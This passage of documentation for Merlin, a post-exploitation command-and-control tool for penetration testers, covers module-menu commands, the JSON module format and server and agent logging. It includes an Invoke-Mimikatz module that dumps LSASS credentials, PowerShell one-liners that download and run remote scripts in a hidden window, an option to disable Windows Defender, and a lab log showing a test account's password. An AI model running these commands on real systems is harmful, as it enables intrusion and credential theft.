The `main` command is used to leave the Agent menu and return back to the *Main Menu*. It is an alias for the *back* command.

```
Merlin[module][Invoke-Mimikatz]» main
Merlin»
```

10.5 reload

The `reload` command is used to clear out all of a module's configurable options and return its settings to the default state.

```
Merlin[module][Invoke-Mimikatz]» reload
Merlin[module][Invoke-Mimikatz]»
```

10.6 run

The `run` command is used to execute the module on the agent configured for the module's [agent](#set-agent) value.

```
Merlin[module][Invoke-Mimikatz]» run
Merlin[module][Invoke-Mimikatz]» [-]Created job iReycchrck for agent ebf1b1d2-44d5-
↪4f85-86f5-cae112600870
[+]Results for job iReycchrck
[+]
  .#####.   mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
 .## ^ ##.  "A La Vie, A L'Amour"
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                     with 20 modules * * */
<snip>
Merlin[module][Invoke-Mimikatz]»
```

10.7 sessions

The `sessions` command is used to quickly list information about established agents from the module menu to include their status. The sessions command is available from any menu in the CLI.

```
Merlin[module][BASH]» sessions

                AGENT GUID               |    TRANSPORT    |   PLATFORM    |       HOST ␣
↪     |        USER          |                 PROCESS                  | STATUS |␣
↪LAST CHECKIN |      NOTE
+--------------------------------------+-----------------+---------------+------------
↪-----+----------------------+------------------------------------------+--------+----
↪----------+-----------------+
  d07edfda-e119-4be2-a20f-918ab701fa3c | HTTP/2 over TLS | linux/amd64   | ubuntu     ␣
↪     | rastley              | main(200769)                             | Active |␣
↪0:00:08 ago  | Demo Agent Here
```

10.8 set

The `set` command is used to set the value for one of the module's configurable options. This command is used by specifying the name of the option that should be set followed by a value. Tab completion is enabled and provides a list of all configurable options.

```
Merlin[module][Invoke-Mimikatz]» set DumpCerts true
[+]DumpCerts set to true
Merlin[module][Invoke-Mimikatz]»
```

10.8.1 set Agent

The *Agent option* for every module must be set in order for it have a target to execute on. By default, the module is configured with a blank value of `00000000-0000-0000-0000-000000000000`. To set an agent, provide the agent's ID (tab completion enabled).

```
Merlin[module][Invoke-Mimikatz]» set agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[+]agent set to c1090dbc-f2f7-4d90-a241-86e0c0217786
Merlin[module][Invoke-Mimikatz]»
```

The special value `all` can be provided and instructs Merlin to execute the module on all agents. When this value is provided, the module's agent option is set to all F's like: `ffffffff-ffff-ffff-ffff-ffffffffffff`

```
Merlin[module][Invoke-Mimikatz]» set agent all
[+]agent set to ffffffff-ffff-ffff-ffff-ffffffffffff
Merlin[module][Invoke-Mimikatz]»
```

10.9 show

The `show` command is used to retrieve information about the module itself. This command uses additional options to specify what information should be retrieved.

Options:

- *info*
- *options*

10.9.1 info

The `info` sub-command for the `show` command is used to print all of the information about a module to the screen. This information includes items such as module's name, authors, credits, description, notes, and configurable options.

```
Merlin[module][Invoke-Mimikatz]» show info
Module:
        Invoke-Mimikatz
Platform:
        windows\x64\PowerShell
Authors:
        Russel Van Tuyl (@Ne0nd0g)
Credits:
        Joe Bialek (@JosephBialek)
        Benjamin Delpy (@gentilkiwi)
Description:
        This script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to␣
↪reflectively load Mimikatz completely in memory. This allows you to do things such␣
↪as dump credentials without ever writing the mimikatz binary to disk. The script␣
↪has a ComputerName parameter which allows it to be executed against multiple␣
↪computers. This script should be able to dump credentials from any version of␣
↪Windows through Windows 8.1 that has PowerShell v2 or higher installed.

Agent: 00000000-0000-0000-0000-000000000000

Module options(Invoke-Mimikatz)

      NAME     |                VALUE                 | REQUIRED |          ␣
↪DESCRIPTION
+--------------+--------------------------------------+----------+--------------------
↪------------+
  Agent        | 00000000-0000-0000-0000-000000000000 | true     | Agent on which to␣
↪run module
               |                                      |          | Invoke-Mimikatz
  DumpCreds    | true                                 | false    | [Switch]Use␣
↪mimikatz to dump
               |                                      |          | credentials out of␣
↪LSASS.
```

(continues on next page)

(continued from previous page)

```
  DumpCerts     |                                       | false    | [Switch]Use␣
↪mimikatz to export
                |                                       |          | all private␣
↪certificates
                |                                       |          | (even if they are␣
↪marked
                |                                       |          | non-exportable).
  Command       |                                       | false    | Supply mimikatz a␣
↪custom
                |                                       |          | command line. This␣
↪works
                |                                       |          | exactly the same␣
↪as running
                |                                       |          | the mimikatz␣
↪executable
                |                                       |          | like this: mimikatz
                |                                       |          | "privilege::debug␣
↪exit" as an
                |                                       |          | example.
  ComputerName  |                                       | false    | Optional, an array␣
↪of
                |                                       |          | computernames to␣
↪run the
                |                                       |          | script on.

Notes: This is part of the PowerSploit project https://github.com/PowerShellMafia/
↪PowerSploit
```

10.9.2 options

The `options` sub-command for the *show* command is used to print *only* the configurable options along with their current value.

```
Merlin[module][Invoke-Mimikatz]» show options

Agent: 00000000-0000-0000-0000-000000000000

Module options(Invoke-Mimikatz)

      NAME      |                VALUE                 | REQUIRED |          ␣
↪DESCRIPTION
+---------------+--------------------------------------+----------+--------------------
↪------------+
  Agent         | 00000000-0000-0000-0000-000000000000 | true     | Agent on which to␣
↪run module
                |                                      |          | Invoke-Mimikatz
  DumpCreds     | true                                 | false    | [Switch]Use␣
↪mimikatz to dump
                |                                      |          | credentials out of␣
↪LSASS.
  DumpCerts     |                                      | false    | [Switch]Use␣
↪mimikatz to export
                |                                      |          | all private␣
↪certificates
                |                                      |          | (even if they are␣
↪marked
```

(continues on next page)

(continued from previous page)

```
                |                                                 |           | non-exportable).
  Command       |                                                 | false     | Supply mimikatz a␣
↪custom
                |                                                 |           | command line. This␣
↪works
                |                                                 |           | exactly the same␣
↪as running
                |                                                 |           | the mimikatz␣
↪executable
                |                                                 |           | like this: mimikatz
                |                                                 |           | "privilege::debug␣
↪exit" as an
                |                                                 |           | example.
  ComputerName  |                                                 | false     | Optional, an array␣
↪of
                |                                                 |           | computernames to␣
↪run the
                |                                                 |           | script on.
```

10.10 !

Any command that begins with a ! (a.k.a bang or exclamation point) will be executed on host itself where the Merlin server is running. This is useful when you want simple information, such as your interface address, without having to open a new terminal.

```
Merlin» !ip a show ens32

[i] Executing system command...

[+] 2: ens32: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP␣
↪group default qlen 1000
    link/ether 00:0c:29:z3:ff:91 brd ff:ff:ff:ff:ff:ff
    inet 192.168.211.221/24 brd 192.168.211.255 scope global dynamic noprefixroute␣
↪ens32
       valid_lft 1227sec preferred_lft 1227sec
    inet6 fe80::a71d:1f6a:a0d1:7985/64 scope link noprefixroute
       valid_lft forever preferred_lft forever

Merlin»
```

CHAPTER 11

TLS Certificates

WARNING: You should generate and use a TLS certificate signed by a trusted Certificate Authority

Versions later than `0.6.8.BETA` will automatically generate a new **UNTRUSTED** and **self-signed** certificate when the server is started if a TLS certificate and TLS key are not provided.

To facilitate ease of use, a TLS X.509 private and public certificate is distributed with Merlin for versions less than `0.6.8.BETA`. This allowed a user to start using Merlin right away. However, this key is widely distributed and is considered public knowledge. You should generate your own certificates and replace the default certificates that ship with Merlin. The default location for the certificates is the `data/x509` directory. The `openssl` command can be used from a Linux system to generate a key pair.

The following message is presented to alert the user that the distributed testing public key is in use:

```
Merlin» [!] Insecure publicly distributed Merlin x.509 testing certificate in
use for https server on 127.0.0.1:443
```

CHAPTER 12

Building Modules

Modules are used to perform a set of pre-defined actions or execute a program on an agent. The modules are described using JavaScript Object Notation (JSON). Modules will be stored in `platform/arch/language/type` directories. Every module *must* have the `base` object and *may* have additional objects. Examples of the module structures can be found in the `data/modules/templates` directory. All keys used when describing a module will be lowercase (i.e. name and NOT Name).

12.1 Base

The `base` module is required and is the lowest level of describing a module and its function.

Table 1: Module Base

Name	Type	Description	Example
type	string	`standard` or `extended`	"type": "standard"
name	string	The name of the module	"name": "MyModuleName"
author	array of strings	A list of the module's authors	"author": ["Russel Van Tuyl (@Ne0ndog)"]
credits	array of strings	A list of authors to credit original work leveraged in the module	"credits": ["Joe Bialek (@JosephBialek)", "Benjamin Delpy (@gentilkiwi)"]
path	array of strings	The file path to the module	"path": ["C", "windows", "system32"]
platform	string	The target platform the module can run on	"platform": "linux"
arch	string	The target architecture the module can run on	"arch": "x64"
lang	string	The target language the module leverages	"lang": "powershell" or "lang": "bash"
privilege	bool	Does the module require elevated privileges?	"privilege": true
notes	string	Miscellaneous notes about the module	"notes": "This module doesn't work well on Ubuntu 14.04"
remote	string	The remote path where the script associated with the module can be found	"remote": "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1"
local	array of strings	The local file system path where the script associated with the module can be found	"local": ["data", "src", "PowerSploit", "Exfiltration", "Invoke-Mimikatz.ps1"]
options	array of objects	The configurable options for the module	"options": [{"name": "DumpCreds", "value": "true", "required": false, "description":"[Switch]Use mimikatz to dump credentials out of LSASS."}]
description	string	A description of the module and its function	"description": "this script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to reflectively load Mimikatz completely in memory."
commands	array of strings	A list of the commands to be executed on the host when running the script	"commands": ["powershell.exe", "-nop", "-w", "0", "\"IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');","Invoke-Mimikatz", "{{DumpCreds.Flag}}", "{{DumpCerts.Flag}}", "{{Command}}", "{{ComputerName}}","\""]

Full Example:

```
{
  "base": {
    "type": "standard",
    "name": "Invoke-Mimikatz",
    "author": ["Russel Van Tuyl (@Ne0nd0g)"],
    "credits": ["Joe Bialek (@JosephBialek)", "Benjamin Delpy (@gentilkiwi)"],
    "path": ["windows", "x64", "powershell", "powersploit", "Invoke-Mimikatz.json"],
    "platform": "windows",
    "arch": "x64",
    "lang": "PowerShell",
    "privilege": true,
    "notes": "This is part of the PowerSploit project https://github.com/
↪PowerShellMafia/PowerSploit",
    "remote": "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/
↪Exfiltration/Invoke-Mimikatz.ps1",
    "local": ["data", "src", "PowerSploit", "Exfiltration", "Invoke-Mimikatz.ps1"],
    "options": [
      {"name": "DumpCreds", "value": "true", "required": false, "flag": "-DumpCreds",
↪"description":"[Switch]Use mimikatz to dump credentials out of LSASS."},
      {"name": "DumpCerts", "value": null, "required": false, "flag": "-DumpCerts",
↪"description":"[Switch]Use mimikatz to export all private certificates (even if␣
↪they are marked non-exportable)."},
      {"name": "Command", "value": null, "required": false, "flag": "-Command",
↪"description":"Supply mimikatz a custom command line. This works exactly the same␣
↪as running the mimikatz executable like this: mimikatz \"privilege::debug exit\" as␣
↪an example."},
      {"name": "ComputerName", "value": null, "required": false, "flag": "-
↪ComputerName", "description":"Optional, an array of computernames to run the script␣
↪on."}
    ],
    "description": "This script leverages Mimikatz 2.0 and Invoke-
↪ReflectivePEInjection to reflectively load Mimikatz completely in memory. This␣
↪allows you to do things such as dump credentials without ever writing the mimikatz␣
↪binary to disk. The script has a ComputerName parameter which allows it to be␣
↪executed against multiple computers. This script should be able to dump credentials␣
↪from any version of Windows through Windows 8.1 that has PowerShell v2 or higher␣
↪installed.",
    "commands": [
      "powershell.exe",
      "-nop",
      "-w 0",
      "\"IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.
↪com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');",
      "Invoke-Mimikatz",
      "{{DumpCreds.Flag}}",
      "{{DumpCerts.Flag}}",
      "{{Command}}",
      "{{ComputerName}}",
      "\""
    ]
  },
  "powershell": {
    "disableav": true,
    "obfuscate": false,
    "base64": false
  }
```

(continues on next page)

(continued from previous page)

```
}
```

12.1.1 Type

Modules can be either `standard` or `extended`.

A **STANDARD** module does not leverage any Go packages or functions from the *pkg/modules* directory. Standard modules are best used to run a single command, or a series of commands, that leverage functionality and programs on the host where the agent is running. The `data/modules/linux/x64/bash/exec/bash.json` module is a standard module that takes a `Command` argument that is subsequently run in `bash -c {{Command}}`. This could be useful to abstract out command line arguments with easy to set options or to run a single command across all agents using `set Agent all` while in the module's prompt.

An **EXTENDED** module DOES leverage code from an associated package `pkg/modules`. The sRDI module at `data/modules/windows/x64/go/exec/sRDI.json` is an example of an extended module that uses exported functions from the srdi package at `pkg/modules/srdi/srdi.go`. This extended module reads in a Windows DLL and returns shellcode that will be executed on the agent. The extended function's code must be located in `pkg/modules/<function>`. The extended function's code must expose a `Parse()` function that returns an array of strings that contain commands for the agent to interpret. Extended function must be programmed into the `getExtendedCommand()` function in `modules.go` and point to the module's exported `Parse()` function.

12.1.2 Remote vs Local

When the module leverages a script, it can be accessed with *either* the `local` or `remote` values of the base module. The `local` specifies the file path on the server where the script can be found. Merlin *DOES NOT* ship with scripts. However, they should be copied to the `data/source` directory using something like Git. For example, you move into the `data/source` direct and do a `git clone https://github.com/PowerShellMafia/PowerSploit.git`. When the `local` source is used, the script is uploaded to the target from the server. When the `remote` source is used, the script is downloaded from that location to the target.

12.1.3 Options

The `options` uses a special data type that requires five parts.

```
{
    "options": [
        {"name": "host", "value": "google.com", "required": true, "flag": "",
↪"description": "The host to ping"},
        {"name": "count", "value": "3", "required": false, "flag": "-c", "description
↪": "Stop after sending count ECHO_REQUEST packets."},
        {"name": "help", "value": "true", "required": false, "flag": "-h",
↪"description": "Show help."}
    ]
}
```

Table 2: Module Base

Name	Type	Description	Example
name	string	The name of the option	"name": "ComputerName"
value	string	The configured value for the option	"value": "127.0.0.1"
required	bool	Is this option required?	"required": false
flag	string	The command line flag for the option	"flag": "-ComputerName"
description	string	A short description of the option	"description": "The target computer name to run the script on"

Name

This is the name of the option that can be set by a user. This value is used as a variable in the `commands` section of the module file. The name is case sensitive (`Name` != `name` != `NAME`). An example option object looks like:

```
{"name": "count", "value": "3", "required": false, "flag": "-c", "description": "Stop␣
↪after sending count ECHO_REQUEST packets."}
```

An example of setting the `count` option is:

```
Merlin[module][TEST]» set count 5
[+]count set to 5
Merlin[module][TEST]»
```

Using just the option's name within double curly braces will return both the flag and value. For example `{{count}}` would be parsed and replaced with `-c 3`. The `flag` and `value` properties can be accessed individually if needed with `{{count.Flag}}` and `{{count.Value}}`.

Value

This is the value that the options has been set to. The value can be directly accessed in the `commands` section by using `.Value` after option's name. This is ideal for positional arguments that do not have a flag or specify an application executable file name. An example option object that uses the `value` property is:

```
{"name": "host", "value": "google.com", "required": true, "flag": "", "description":
↪"The host to ping"}
```

For example `{{host.Value}}` would be parsed and replaced with just the value of the `host` option (`google.com`).

If an option's value is empty, it will not be ignored and not parsed.

Flag

The `flag` property is used to specify what the notation is for a specific argument when executing a command. The `name` property can be used in conjunction with the `flag` property when the flag is not descriptive enough to make sense. A command line flag could start with a variety of options like `-`, `--`, or `/`. An example option object that uses a `flag` property is:

```
{"name": "help", "value": "true", "required": false, "flag": "-h", "description":
↪"Show help."}
```

Some applications use a flag with no value after it. A common example of this `-h` to view an application's help information. A flag, WITHOUT its value can be accessed in the `commands` section with `.Flag`. For example `{{help.Flag}}` would be parsed and replaced with just `-h`. If you want to only use the flag, and not its value, then you must set its value to `true`. Using just the option's name within double curly braces will return both the flag and value. For example `{{help}}` would be parsed and replaced with `-h true`.

12.1.4 Commands

The `commands` section of the module is used to provide the commands that are going to be executed on the host. The array should consist of every command in its own list item. You do not need to account for spaces. This is automatically done when the command is executed on the host.

You specify the location of an *option* by using double curly brace and the option's *name*. This will be parsed and replaced with both the `value` and `flag` values from the option's list entry. The option's *flag* and *value* can be accessed individually. An example `command` section looks like:

```
{
    "options": [
        {"name": "host", "value": "google.com", "required": true, "flag": "",
↪"description": "The host to ping"},
        {"name": "count", "value": "3", "required": false, "flag": "-c", "description
↪": "Stop after sending count ECHO_REQUEST packets."},
        {"name": "help", "value": "", "required": false, "flag": "-h", "description":
↪"Show help."}
    ],
    "commands": [
      "/bin/ping",
      "{{count}}",
      "{{host.Value}}"
    ]
}
```

This would get parsed as `/bin/ping -c 3 google.com`

If an option's value is not set, it will be ignored. An example of accessing only an option's flag while ignoring everything else is:

```
{
    "options": [
        {"name": "host", "value": "", "required": false, "flag": "", "description":
↪"The host to ping"},
        {"name": "count", "value": "", "required": false, "flag": "-c", "description
↪": "Stop after sending count ECHO_REQUEST packets."},
        {"name": "help", "value": "true", "required": false, "flag": "-h",
↪"description": "Show help."}
    ],
    "commands": [
      "/bin/ping",
      "{{help.Flag}}"
      "{{count}}",
      "{{host.Value}}"
    ]
}
```

This would get parsed as `/bin/ping -h`

12.2 Powershell

The `powershell` module is used to provide additional configuration options that pertain to PowerShell commands. Support for this module type is currently lacking. At this time is being used as placeholder for future development.

Table 3: Module Base

Name	Type	Description	Example
disableav	bool	Should Windows Defender be disabled prior to running the command?	“disableav” : true
obfuscate	bool	Should the PowerShell command be obfuscated?	“obfuscate”: false
base64	bool	Should the command be Base64 encoded?	“base64”: true

CHAPTER 13

Blog Posts

This page is used to catalog blog posts about Merlin

13.1 Posts by Ne0nd0g

- Practical Approach to Detecting and Preventing Web Application Attacks over HTTP/2- A SANS Master's Degree Presentation
- Introducing Merlin—A cross-platform post-exploitation HTTP/2 Command & Control Tool
- Merlin Adds Support for the QUIC protocol
- Merlin JavaScript—All up in Your Browsers
- Merlin Adds Module Support
- Merlin v0.1.4 Released—Menus &Modules
- Merlin Adds DLL Agent & PowerShell Invoke-Merlin Script
- Merlin v0.6.0 Beta Released
- Merlin v0.7.0 Release & Roll-up
- Merlin Goes OPAQUE for Key Exchange
- Merlin v0.8.0 Released

13.2 External Posts

- Merlin for Red Teams
- Intro to Using GScript for Red Teams
- Merlin The (C2) Wizard!

- Command and Control Guide to Merlin
- C2 Agent Comparison
- Kubesploit: A New Offensive Tool for Testing Containerized Environments

13.3 Appearances

- The Hacker Playbook 3: Practical Guide To Penetration Testing
- B Sides Knoxville 2018
- Black Hat Arsenal 2018
- HackTheBox - Rabbit by @ippsec
- HackTheBox - Bounty by @ippsec
- Merlin - Post Exploitation over HTTP / 2 (Part1) GERMAN - English
- Merlin - Post Exploitation over HTTP / 2 (Part 2) GERMAN - English
- An MS Office backdoor with Merlin GERMAN - (English) * MS-Office Backdoor with Merlin - YouTube Video

13.4 Tweets

- https://twitter.com/QW5kcmV3/status/1097633091932352513
- https://twitter.com/qw5kcmv3/status/1167070746235064321
- https://twitter.com/UnkL4b/status/1166478926450843648
- https://twitter.com/Dinosn/status/1158292492133052416

13.5 Misc.

- https://valhalla.nextron-systems.com/info/rule/HKTL_MerlinAgent

CHAPTER 14

Contributing

Thank you for your interest in contributing to Merlin. This document outlines some basic guidelines for submitting your contributions. This is a living document and it will be updated regularly as the project matures.

14.1 Getting Started

Go is slightly unique due to the way it imports packages. Simply forking Merlin and getting to work will result in problems due to imports. The proper way to work with a Go repository after forking it is:

1. Grab Merlin into your GOPATH `go get github.com/Ne0nd0g/merlin`
2. Rename the current origin remote to upstream `git remote rename origin upstream`
3. Add your fork as origin `git remote add origin https://github.com/<your user name>/merlin`

An excellent blog post by Scott Mansfield can be found on his blog.

14.2 Logging

Commands executed against an agent should be logged in the agent log. The results of messages executed on an agent, to include errors and successes, should also be sent back to the server and logged in the agent's log file. Command results can be sent back using the "CmdResults" message structure.

Commands only affecting the server should be entered into the server's log file.

When adding a new feature, ensure the associated activities are also logged.

14.3 User Interface Messages

- Informational messages are white and start with `[i]`

- Warning and Error messages are red and start with `[!]`
- Verbose messages (those that are not a warning or error) are yellow and start with `[-]`
- Success messages are green and start with `[+]`
- Informational messages are white and start with `[i]`
- Debug messages are red and start with (in all caps) `[DEBUG]`. These messages go above verbose logging and are used to track down problems or print out raw data.
- Messages should be left aligned and rest against the message type symbol

14.4 Agent Messages

Merlin Agents are designed to run on a compromised host during a penetration test. As such, the agent should never display any messages to user on standard out or standard error *unless* verbose messages are enable.

14.5 Pull Requests

- Pull requests (PR) should be submitted to the `dev` branch
- Be sure to pull down any changes from `dev` prior to creating a PR
- All pull request will require a review and approval prior to being accepted and merged into `dev`
- Ensure all code is free from spelling and grammatical errors
- Ensure code passes `golint`
- Ensure code compiles without errors
- Ensure all errors are handled
- Error checking should be done as soon as possible
- Update the usage() function if applicable
- Ensure log entries are created in the respective log files

14.6 Contributors

Thank you to everyone that has contributed to Merlin. Your contributions help keep Merlin great and valuable. Merlin contributors can be viewed here.

CHAPTER 15

Logging

15.1 Server

Merlin creates a log of server activities that are saved at `data/log/merlinServerLog.txt`. An example of the server log file:

```
[2017-12-17 03:25:31.601752218 +0000 UTC m=+0.001463384]Starting Merlin Server
[2017-12-17 03:25:31.609125184 +0000 UTC m=+0.008836420]Starting HTTP/2 Listener
[2017-12-17 03:25:31.609148289 +0000 UTC m=+0.008859410]Address: 0.0.0.0:443/
[2017-12-17 03:25:31.609156804 +0000 UTC m=+0.008867860]x.509 Certificate /opt/merlin/
↪data/x509/server.crt
[2017-12-17 03:25:31.609163552 +0000 UTC m=+0.008874620]x.509 Key /opt/merlin/data/
↪x509/server.key
[2017-12-17 03:26:07.101079056 +0000 UTC m=+35.500790466]Received new agent checkin␣
↪from 209342db-ce7c-49e8-883f-0ee4da7d266d
[2017-12-17 03:26:11.560452462 +0000 UTC m=+39.960164571]Received new agent checkin␣
↪from 6e5e8a3b-42fd-4129-8f02-be04b935d252
[2017-12-17 03:26:18.078416725 +0000 UTC m=+46.478128025]Received new agent checkin␣
↪from 13c8bd9b-dc8e-4fa9-83d0-58c7cff8903d
[2017-12-17 03:30:58.634935594 +0000 UTC m=+327.034647953]Shutting down Merlin Server␣
↪due to user input
```

15.2 Agent

When an agent checks in to Merlin, a directory is created for it based on the Agent's UUID in the `data/agents` directory. A log file of agent activity is created in the new directory in the `agent_log.txt` file.

An example of the `data/agents/209342db-ce7c-49e8-883f-0ee4da7d266d/agent_log.txt` file:

```
[2017-12-17 03:26:07.10226105 +0000 UTC m=+35.501972326]Initial check in for agent␣
↪209342db-ce7c-49e8-883f-0ee4da7d266d
[2017-12-17 03:26:07.10246555 +0000 UTC m=+35.502176856]Platform: windows
```

(continues on next page)

(continued from previous page)

```
[2017-12-17 03:26:07.10249271 +0000 UTC m=+35.502203956]Architecture: amd64
[2017-12-17 03:26:07.10256092 +0000 UTC m=+35.502272320]HostName: WIN10
[2017-12-17 03:26:07.102590307 +0000 UTC m=+35.502301630]UserName: XCALIBUR\dade
[2017-12-17 03:26:07.102640064 +0000 UTC m=+35.502351353]UserGUID: S-1-5-21-
↪4268310007-4003891068-3852045410-513
[2017-12-17 03:26:07.10265651 +0000 UTC m=+35.502367750]Process ID: 2776
[2017-12-17 03:26:07.132149253 +0000 UTC m=+35.531861089]Processing AgentInfo message:
        Agent Version: 0.1.3
        Agent Build: 6a1723b180583deff56b41a9d2a283244837b611
        Agent waitTime: 30s
        Agent paddingMax: 4096
        Agent maxRetry: 7
        Agent failedCheckin: 0
[2017-12-17 03:26:37.254087469 +0000 UTC m=+65.653799302]Agent status check in
[2017-12-17 03:27:07.395670309 +0000 UTC m=+95.795382065]Agent status check in
[2017-12-17 03:27:37.533895458 +0000 UTC m=+125.933607084]Agent status check in
[2017-12-17 03:27:37.537462734 +0000 UTC m=+125.937175076]Command Type: control
[2017-12-17 03:27:37.537593821 +0000 UTC m=+125.937305610]Command: [sleep 13s]
[2017-12-17 03:27:37.537786944 +0000 UTC m=+125.937498617]Created job vPIDreMwkF for␣
↪agent 209342db-ce7c-49e8-883f-0ee4da7d266d
[2017-12-17 03:27:37.571990967 +0000 UTC m=+125.971702752]Processing AgentInfo␣
↪message:
        Agent Version: 0.1.3
        Agent Build: 6a1723b180583deff56b41a9d2a283244837b611
        Agent waitTime: 13s
        Agent paddingMax: 4096
        Agent maxRetry: 7
        Agent failedCheckin: 0
[2017-12-17 03:27:50.69824483 +0000 UTC m=+139.097956473]Agent status check in
[2017-12-17 03:28:03.822906318 +0000 UTC m=+152.222618134]Agent status check in
[2017-12-17 03:28:03.824745772 +0000 UTC m=+152.224457054]Command Type: cmd
[2017-12-17 03:28:03.824787835 +0000 UTC m=+152.224499144]Command: [powershell "Get-
↪NetAdapter|fl"]
[2017-12-17 03:28:03.824874938 +0000 UTC m=+152.224586324]Created job cwDwWifPqR for␣
↪agent 209342db-ce7c-49e8-883f-0ee4da7d266d
[2017-12-17 03:28:06.474940051 +0000 UTC m=+154.874651976]Results for job: cwDwWifPqR
[2017-12-17 03:28:06.478391949 +0000 UTC m=+154.878103211]Command Results (stdout):


Name                      : Ethernet0
InterfaceDescription      : Intel(R) 82574L Gigabit Network Connection
InterfaceIndex            : 9
MacAddress                : 00-0C-29-96-04-66
MediaType                 : 802.3
PhysicalMediaType         : 802.3
InterfaceOperationalStatus : Up
AdminStatus               : Up
LinkSpeed(Gbps)           : 1
MediaConnectionState      : Connected
ConnectorPresent          : True
DriverInformation         : Driver Date 2016-04-05 Version 12.15.22.6 NDIS 6.30


[2017-12-17 03:28:19.614829305 +0000 UTC m=+168.014540881]Agent status check in
[2017-12-17 03:28:32.748204051 +0000 UTC m=+181.147915670]Agent status check in
[2017-12-17 03:28:32.750120781 +0000 UTC m=+181.149832134]Command Type: cmd
[2017-12-17 03:28:32.750162232 +0000 UTC m=+181.149873581]Command: [powershell "IEX␣
↪(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/
↪PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1');Get-NetUser -Username dade
↪"]
```

(continues on next page)

(continued from previous page)

```
[2017-12-17 03:28:32.750301452 +0000 UTC m=+181.150012674]Created job GMKxTcvWhH for␣
↪agent 209342db-ce7c-49e8-883f-0ee4da7d266d
[2017-12-17 03:28:35.105745057 +0000 UTC m=+183.505457853]Results for job: GMKxTcvWhH
[2017-12-17 03:28:35.108203423 +0000 UTC m=+183.507915165]Command Results (stdout):


logoncount                    : 12
badpasswordtime               : 12/10/2017 9:08:24 AM
description                   : Intentionally Vulnerable;Password: Winter2017
distinguishedname             : CN=Dade D. Murphy,CN=Users,DC=xcalibur,DC=io
objectclass                   : {top, person, organizationalPerson, user}
dscorepropagationdata         : 1/1/1601 12:00:00 AM
displayname                   : Dade D. Murphy
lastlogontimestamp            : 12/10/2017 9:14:44 AM
userprincipalname             : dade@xcalibur.io
name                          : Dade D. Murphy
primarygroupid                : 513
objectsid                     : S-1-5-21-4268310007-4003891068-3852045410-1116
samaccountname                : dade
lastlogon                     : 12/16/2017 6:19:58 PM
codepage                      : 0
samaccounttype                : 805306368
whenchanged                   : 12/10/2017 5:14:44 PM
accountexpires                : 9223372036854775807
cn                            : Dade D. Murphy
adspath                       : LDAP://CN=Dade D. Murphy,CN=Users,DC=xcalibur,DC=io
instancetype                  : 4
objectguid                    : 662a2b05-8397-41d4-bfdb-b0bd6df3615b
sn                            : Murphy
lastlogoff                    : 12/31/1600 4:00:00 PM
objectcategory                : CN=Person,CN=Schema,CN=Configuration,DC=xcalibur,DC=io
initials                      : D
givenname                     : Dade
whencreated                   : 10/6/2017 12:21:27 AM
badpwdcount                   : 0
useraccountcontrol            : 66048
usncreated                    : 12889
countrycode                   : 0
pwdlastset                    : 10/5/2017 5:21:27 PM
msds-supportedencryptiontypes : 0
usnchanged                    : 20645

[2017-12-17 03:28:48.250330562 +0000 UTC m=+196.650042428]Agent status check in
[2017-12-17 03:29:01.387319268 +0000 UTC m=+209.787031394]Agent status check in
[2017-12-17 03:29:14.519431017 +0000 UTC m=+222.919142466]Agent status check in
[2017-12-17 03:29:27.640031072 +0000 UTC m=+236.039742618]Agent status check in
[2017-12-17 03:29:40.75826363 +0000 UTC m=+249.157975111]Agent status check in
[2017-12-17 03:29:53.90008421 +0000 UTC m=+262.299796006]Agent status check in
[2017-12-17 03:30:07.04774827 +0000 UTC m=+275.447460262]Agent status check in
[2017-12-17 03:30:20.178747286 +0000 UTC m=+288.578458632]Agent status check in
[2017-12-17 03:30:33.306429632 +0000 UTC m=+301.706141394]Agent status check in
[2017-12-17 03:30:46.426827382 +0000 UTC m=+314.826539174]Agent status check in
[2017-12-17 03:30:46.428641549 +0000 UTC m=+314.828352838]Command Type: kill
[2017-12-17 03:30:46.428684456 +0000 UTC m=+314.828395838]Command: []
[2017-12-17 03:30:46.428732519 +0000 UTC m=+314.828443952]Created job yRZdBkCXAf for␣
↪agent 209342db-ce7c-49e8-883f-0ee4da7d266d
```